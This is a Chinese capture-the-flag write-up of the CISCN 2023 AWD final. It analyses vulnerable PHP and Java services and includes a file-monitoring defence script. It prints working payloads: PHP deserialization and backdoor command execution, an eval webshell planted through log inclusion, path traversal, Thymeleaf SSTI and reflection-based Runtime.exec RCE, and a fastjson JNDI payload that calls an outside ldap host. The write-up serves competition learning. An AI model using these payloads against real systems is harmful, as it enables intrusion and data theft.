ciscn2023 国赛 awd final wp

国赛awd_final wp

全场倒数第一战队的wp,thai真是又菜又爱玩,师傅们轻点喷

awd准备

经过这次国赛awd的锻炼,发现awd提前准备的脚本:

备份>流量监控>批量打全场+自动化交flag>通防/修复

这次主要流量监控和批量打全场都做的不太好,下次吸取教训了!

关于分数

赛后复盘后觉得,分数是这样算的:

得分:

提交一个flag初始分数为50,如果有x个选手提交同一个flag,则每个选手均分这个flag的分值,即每个选手得到50/x分

(所以早点打全场,就可以拿到很多分数,晚点就被人均分完了)

宕机扣50分

被提交flag,也扣50分

(也就是说一轮最坏的情况就是既宕机也被交flag扣50+50分)

可以看得出来,在一轮中,假如修复成功的最优情况是避免扣100分,如果攻击成功的最优情况是拿到50*x(x为队伍数量)的分数,所以看得出主办方是鼓励进攻的(这个赛前想到了)

easyphp

赛后通过和师傅们的交流,应该是有3个攻击方法

正常代审

当时丢进d盾,找到了预设后门,

image-20230728174141612

那就注释一下system(攻击方法1),应该是成功修复,但是可想而知没防住

1.php

image-20230728175335290

index.php

image-20230728175403017

然后这里需要进入session那个if,翻到前面有个反序列化

user=a%3A1%3A%7Bs%3A8%3A%22usertype%22%3Bs%3A5%3A%22super%22%3B%7D&cmd=ls

之后我们没有宕机(因为扣分不多),接着抓流量去了

本来人手多的话我应该丢seay代审一下(但是人手太少了,只能先看看easyjava),以下seay结果:

image-20230728174401544

这里关注第6和第10

image-20230728180654951

这个直接就是可控的后门(攻击方法2)

payload

登录
xxx/admin/api.php?do=system&cid=ls

image-20230728180737412

一个写日志,看上去后缀名不可控,但是

admin/msg.php

image-20230728181306605

这个地方可以日志+文件包含进行攻击 (攻击方法3)

?a=<?=@eval($_POST[xxx]);?>
admin/msg.php?module=mylog.log

据说很多选手也没发现这个,所以经常修不上洞

抓流量(待复现)

玩awd正经人谁还做代审.jpg

https://github.com/DasSecurity-HatLab/AoiAWD

当时部署的是这个,现在想想还挺好用的捏

(当然很显然里面很多东西根本没环境装不了,但是所幸php流量探针是可以用的)

安装思路是本机先搭建好服务端,靶机搭建探针

https://github.com/DasSecurity-HatLab/AoiAWD/blob/master/BUILD.md

服务端直接按照这个搭建好后,最后只要把生成的tapeworm.phar放到靶机上运行tapeworm.phar -s uri 就好了

image-20230804154046511

建议虚拟机装好后,上场直接使用(不建议wsl安装,因为默认的wsl不是桥接出来的,流量探针没法回连)

艹,改两行配置即可,等我学会了分享一下,挖个坑

当然你搭建weblogger也可以

easyjava

正常代审

filter/myFilter.java

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest)servletRequest;
        String request_uri = URLDecoder.decode(request.getRequestURI(), "utf-8");
        if (Check.check(request_uri)) {
            String static_resources_path = "/usr/local/tomcat/webapps/app/WEB-INF/classes/static/" + request_uri;
            static_resources_path = URLDecoder.decode(static_resources_path, "utf-8");

            try {
                servletResponse.getWriter().write(File.readFile(static_resources_path));
            } catch (Exception var8) {
                servletResponse.getWriter().write("error~");
            }
        } else {
            filterChain.doFilter(servletRequest, servletResponse);
        }

可以看到filter会读我们的uri,如果通过check.check的话,就可以直接来到File.readFile,这里赤裸裸的文件读取,很容易想到假如没过滤的话直接../../../flag

(当时翻了全部的控制器,然后唯独没有看filter,现在非常后悔)

check.check

    public static Boolean check(String path) {
        int index = path.lastIndexOf("/");
        Iterator var2 = allow_list.iterator();

        String allow_path;
        do {
            if (!var2.hasNext()) {
                return false;
            }

            allow_path = (String)var2.next();
        } while(!allow_path.equals(path.substring(0, index)));

        return true;
    }

这里会check斜杠最后出现的位置,所以需要绕过一下,结论是两次url编码可以绕

payload(攻击方法1)

/css/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fflag

这个写批量非常方便,可以速度上分

还有一个我现在不太能理解的,还有这个是我抓到的流量

175.21.38.163 - - [25/Jul/2023:07:17:45 +0000] "GET /login HTTP/1.1" 200 1165
175.21.38.163 - - [25/Jul/2023:07:17:45 +0000] "GET /setlogin HTTP/1.1" 302 -
175.21.38.163 - - [25/Jul/2023:07:17:45 +0000] "GET / HTTP/1.1" 200 4460
175.21.38.163 - - [25/Jul/2023:07:17:45 +0000] "GET /about?type=__%24%7Bnew+java.util.Scanner%28T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22cat+%2Fflag%22%29.getInputStream%28%29%29.next%28%29%7D__%3A%3A.x HTTP/1.1" 500 298

可以看出来,流量的思路就是先登录,然后打下面这个payload(攻击方法2)

/about?type=__%24%7Bnew+java.util.Scanner%28T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22cat+%2Fflag%22%29.getInputStream%28%29%29.next%28%29%7D__%3A%3A.x

我们尝试复现成功了,但是他交互比较麻烦,写批量脚本时出了好多次bug,所以这块没怎么利用上

这块的原理是thymeleaf ssti

看pom

       <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>

about controller

@Controller
public class AboutController {
    public AboutController() {
    }

    @GetMapping({"/about"})
    public String about(HttpSession session, @RequestParam(defaultValue = "") String type) {
        String username = (String)session.getAttribute("name");
        if (StringUtils.isEmpty(username)) {
            return "about/tourist/about";
        } else {
            return !type.equals("") ? "about/" + type + "/about" : "about/user/about";
        }
    }
}
// 这里有个明显的路径拼接

如果去找静态文件会发现没有关于type的html

以前以为thymeleaf ssti是静态文件里一定要有${xxx},其实不然。https://github.com/veracode-research/spring-view-manipulation

image-20230802145834445

大概就是用了Thymeleaf,路径没有过滤的话,就算没有界面也可以ssti,返回结果是一个报错版的rce效果

效果类似于

image-20230802150209589

还有就是抓到了个这样的流量

175.21.70.165 - - [25/Jul/2023:07:22:29 +0000] "GET /logout?targetclass=java.lang.Runtime&method=exec HTTP/1.1" 302 -
175.21.70.165 - - [25/Jul/2023:07:22:29 +0000] "GET /;jsessionid=305B91B3D9E49B18D75BC3F63F8018DD HTTP/1.1" 200 4467

看看Logout,一个很明显的反射创建类

@Controller
public class LogOutController {
    public LogOutController() {
    }

    @GetMapping({"/logout"})
    public String logout(HttpServletRequest request, HttpSession session, @RequestParam(defaultValue = "logout") String method, @RequestParam(defaultValue = "com.mengda.awd.Utils.SessionUtils") String targetclass) throws Exception {
        Class<?> ObjectClass = Class.forName(targetclass);
        Constructor<?> constructor = ObjectClass.getDeclaredConstructor();
        constructor.setAccessible(true);
        Object CLassInstance = constructor.newInstance();

        try {
            Method targetMethod;
            if (method.equals("logout")) {
                targetMethod = ObjectClass.getMethod(method, HttpSession.class);
                targetMethod.invoke(CLassInstance, session);
            } else {
                targetMethod = ObjectClass.getMethod(method, String.class);
                targetMethod.invoke(CLassInstance, request.getHeader("X-Forwarded-For"));
            }

            return "redirect:/";
        } catch (Exception var9) {
            return "redirect:/";
        }
    }
}

前半部分创建CLassInstance类

后半部分getMethod和参数,参数在xff头

我本地起个spring复现一下

image-20230802152800641

就说payload长这样:(攻击方法3)

logout?targetclass=java.lang.Runtime&method=exec
x-f-f:cat /flag

这个写批量也很简单,不需要鉴权,又错过了

最后抓到了个这样的流量

175.21.4.164 - - [25/Jul/2023:07:17:13 +0000] "GET /flag HTTP/1.1" 404 136
175.21.4.164 - - [25/Jul/2023:07:17:13 +0000] "GET /env HTTP/1.1" 404 135

经过线下和师傅们的讨论,源码上没有直接的功能位点,应该是有大佬写内存马进去了

由于是批量写的,所以很多师傅都直接上车了,这个是最简单的上车方式,中大和北邮都这么玩,又错过了55

抓流量

当时上的通防

其实是歪打正着,上了个文件监控(github上的https://github.com/zhong33/fileprotect/blob/main/fileprotect.py),由于这个java存在写文件的操作,所以我们看得见流量等情况

对了,文件监控原是个py,我们本地用pyinstaller编译为elf后上传使用的

image-20230802154247675

文件监控脚本分享https://github.com/zhong33/fileprotect/blob/main/fileprotect.py

# -*- coding: utf-8 -*-
import os
import re
import hashlib
import time
import sys
import shutil

# 设置系统字符集,防止写入log时出现错误
CWD = os.getcwd()
FILE_MD5_DICT = {}      # 文件MD5字典
ORIGIN_FILE_LIST = []

# 特殊文件路径字符串
Special_path_str = 'drops_746861690a' #hex(thai)
bakstring = 'back_746861690a'          #bak_md5(icecoke1)
logstring = 'log_746861690a'          #log_md5(icecoke2)
webshellstring = 'webshell_746861690a'#webshell_md5(icecoke3)
difffile = 'difference_746861690a'          #diff_md5(icecoke4)

Special_string = 'drops_log'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
    'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
    'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}

def isListLike(value):
    return isinstance(value, (list, tuple, set))

# 目录创建
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else:
            raise

# 获取当前所有文件路径
def getfilelist(cwd):
    filelist = []
    for root,subdirs, files in os.walk(cwd):
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                filelist.append(originalfile)
    return filelist

# 计算机文件MD5值
def calcMD5(filepath):
    try:
        with open(filepath,'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
# 文件MD5消失即为文件被删除,恢复文件
    except Exception as e:
        print(u'[*] 文件被删除 : ' + str(filepath))
    for value in Special_path:
        mkdir_p(Special_path[value])
        ORIGIN_FILE_LIST = getfilelist(CWD)
        FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)

# 获取所有文件MD5
def getfilemd5dict(filelist = []):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict

# 备份当前目录下的所有文件
def backup_file(filelist=[]):
    # if len(os.listdir(Special_path['bak'])) == 0:
    for filepath in filelist:
        if Special_path_str not in filepath:
            shutil.copy2(filepath, Special_path['bak'])

if __name__ == '__main__':
    print(u'---------持续监测文件中------------')
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)

    backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG

    while True:
        file_list = getfilelist(CWD)
        # 移除新上传文件
        diff_file_list = list(set(file_list) - set(ORIGIN_FILE_LIST))
        if len(diff_file_list) != 0:
            for filepath in diff_file_list:
                try:
                    f = open(filepath, 'r').read()
                except Exception as e:
                    break
                if Special_string not in f:
                    print(u'[*] 发现疑似WebShell上传文件: ' + str(filepath)+ '时间为:'+str(time.ctime())+'内容为:' +str(f))
        # 防止任意文件被修改,还原被修改文件
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, 'r').read()
                except Exception as e:
                    break
                if Special_string not in f:
                    print(u'[*] 该文件被修改 : ' + str(filekey)+ '时间为:'+str(time.ctime())+'内容为:' +str(f))
        time.sleep(5)

效果展示:

就是上面代审用到的那些,这里也贴个图,这是在控制台输出然后我手动复制粘贴到txt的

image-20230802155149659

现在的准备

网上搜了一圈找不到这种java的脚本

于是写了个java的patch脚本,基于filter和incepter的,其功能有:

1.监控所有访问的流量

2.转发所有的流量到指定ip:port

但是在深入学习和交流后发现,存在一个问题:

1.监控所有的流量存在比较大的人工流量分析的难度,花费时间也多

解决建议是:直接hook进一些主要函数,如命令执行和文件读取,检测response有无flag,然后根据这段时间保存这些流量

2.转发到指定ip:port可能会存在帮别人种马的情况(由于别人不一定直接是执行cat /flag,有可能是写马,或者其他比如访问jndi的操作)

解决建议是:不如转发给自己本机看看流量然后写利用。或者把全部转发掉,不要进controller(反弹攻击)

由于时间有限,又要产出有价值的工具,所以决定先整个能用的:

  • 一个摆烂jar包,比如说这次比赛,完全可以全程宕机(没几个修上的),这个jar包可以狠狠的监控流量偷师学艺,并且jar纯静态,不会被打

  • 几个摆烂class文件(基于Inceptor和filter),监控别人的流量,于此同时把流量都转发走,不进入控制器

这两个效果都是全程宕机不会被打,不过明显摆烂jar包比较好操作,但是这很看环境因素,说不定另一个awd比赛就不能直接替换jar包了

事不宜迟马上开始写

写好了,丢这里了

https://github.com/hmt38/java_Laplace_Fluid_Maid

easycms

正常代审

大型cms,老规矩先看pom和filter

pom.xml

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.47</version>
        </dependency>
        ...
                <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>

fastjson直接找找有没有可控位点

然后我发现idea不太行了,class文件他搜不到

image-20230802162750788

对策是jadx 反编译,左上角文件选择dump(难道这就是tel爷换电脑的原因,膜),之后这个文件夹里可以搜到危险函数

image-20230802162941544

@GetMapping({"/blog/search"})
    public String search(HttpServletRequest request, Model model, String search) {
        JSONObject article = null;
        try {
            article = JSONObject.parseObject(search);
        } catch (Exception e) {
            e.printStackTrace();
        }
        System.out.println(article);
        List<BizArticle> articleList = this.bizArticleService.searchList(article.getString("title"));
        if (articleList == null) {
            throw new ArticleNotFoundException();
        }
        try {
            model.addAttribute("pageUrl", article.getString("pageUrl"));
            model.addAttribute("articleList", articleList);
        } catch (Exception e2) {
            e2.printStackTrace();
        }
        return CoreConst.THEME_PREFIX + this.bizThemeService.selectCurrent().getName() + "/search";
    }

那payload举例就是BOOT-INF/classes/com/puboot/module/blog/controller/BlogWebController.class

/blog/search?search={"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1099/exp","autoCommit":true}

发现有个文件下载BOOT-INF/classes/com/puboot/module/blog/controller/BlogApiController.class

image-20230802165107810

payload

/download?fileName=../../../../../../../flag

还有一个存在疑惑的ssti

    @GetMapping({"/blog/category/{categoryId}", "/blog/category/{categoryId}/{pageNumber}"})
    public String category(@PathVariable("categoryId") Integer categoryId, @PathVariable(value = "pageNumber",required = false) Integer pageNumber, Model model) {
        if (CoreConst.SITE_STATIC.get()) {
            return "forward:/html/index/category/" + (pageNumber == null ? categoryId : categoryId + "/" + pageNumber) + ".html";
        } else {
            ArticleConditionVo vo = new ArticleConditionVo();
            vo.setCategoryId(categoryId);
            if (pageNumber != null) {
                vo.setPageNumber(pageNumber);
            }

            model.addAttribute("pageUrl", "blog/category/" + categoryId);
            model.addAttribute("categoryId", categoryId);
            this.loadMainPage(model, vo);
            String name = this.bizThemeService.selectCurrent().getName();
            return "theme/" + name + "/index";
        }
    }

不止这一处,基本上这个控制器大部分路由都有,问题是需要控制name

String name = this.bizThemeService.selectCurrent().getName();

然后我速度瞄了一眼 com.puboot.module.admin.service.BizThemeService;

是个接口

看了一下使用,有很多关于它的增删查改

image-20230802165852781

但是它的bizTheme似乎都是不太可控的东西(或者传入int型),所以我暂时性跳过了

可能有文件上传,但是也不太确定,怪,我进去后只看见接口没看见操作

    @PostMapping({"/upload"})
    @ResponseBody
    public UploadResponse upload(@RequestParam("file") MultipartFile file) {
        return this.ossService.upload(file);
    }

ossService是个接口,我看了下接口的实现

    @Override // com.puboot.module.admin.service.OssService
    public UploadResponse upload(MultipartFile file) {
        ResponseVo<?> responseVo;
        if (file != null) {
            if (!file.isEmpty()) {
                String originalFilename = file.getOriginalFilename();
                String suffix = originalFilename.substring(originalFilename.lastIndexOf(46)).toLowerCase();
                CloudStorageConfigVo cloudStorageConfig = (CloudStorageConfigVo) JSON.parseObject(this.sysConfigService.selectAll().get(SysConfigKey.CLOUD_STORAGE_CONFIG.getValue()), CloudStorageConfigVo.class);
                String md5 = MD5.getMessageDigest(file.getBytes());
                String url = null;
                switch (cloudStorageConfig.getType().intValue()) {
                    case 1:
                        String domain = cloudStorageConfig.getQiniuDomain();
                        String filePath = String.format("%1$s/%2$s%3$s", cloudStorageConfig.getQiniuPrefix(), md5, suffix);
                        responseVo = QiNiuYunUtil.uploadFile(cloudStorageConfig, filePath, file.getBytes());
                        url = String.format("%1$s/%2$s", domain, filePath);
                        break;
                    case 2:
                        String domain2 = cloudStorageConfig.getAliyunDomain();
                        String filePath2 = String.format("%1$s/%2$s%3$s", cloudStorageConfig.getAliyunPrefix(), md5, suffix);
                        responseVo = AliYunUtil.uploadFile(cloudStorageConfig, filePath2, file.getBytes());
                        url = String.format("%1$s/%2$s", domain2, filePath2);
                        break;
                    case 3:
                    default:
                        responseVo = ResultUtil.error("未配置云存储类型");
                        break;
                    case 4:
                        String relativePath = FileUploadUtil.uploadLocal(file, this.fileUploadProperties.getUploadFolder());
                        String accessPrefixUrl = this.fileUploadProperties.getAccessPrefixUrl();
                        if (!StrUtil.endWith(accessPrefixUrl, "/")) {
                            accessPrefixUrl = accessPrefixUrl + '/';
                        }
                        url = accessPrefixUrl + relativePath;
                        responseVo = ResultUtil.success();
                        break;
                }
                if (responseVo.getStatus().equals(CoreConst.SUCCESS_CODE)) {
                    return UploadResponse.success(url, originalFilename, suffix, url, CoreConst.SUCCESS_CODE);
                }
                return UploadResponse.failed(originalFilename, CoreConst.FAIL_CODE, responseVo.getMsg());
            }
        }
        throw new UploadFileNotFoundException(UploadResponse.ErrorEnum.FILE_NOT_FOUND.msg);
    }

可能还是过于复杂了,这里当然是建议直接黑盒测比较好

抓流量

这个同easyjava吧

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇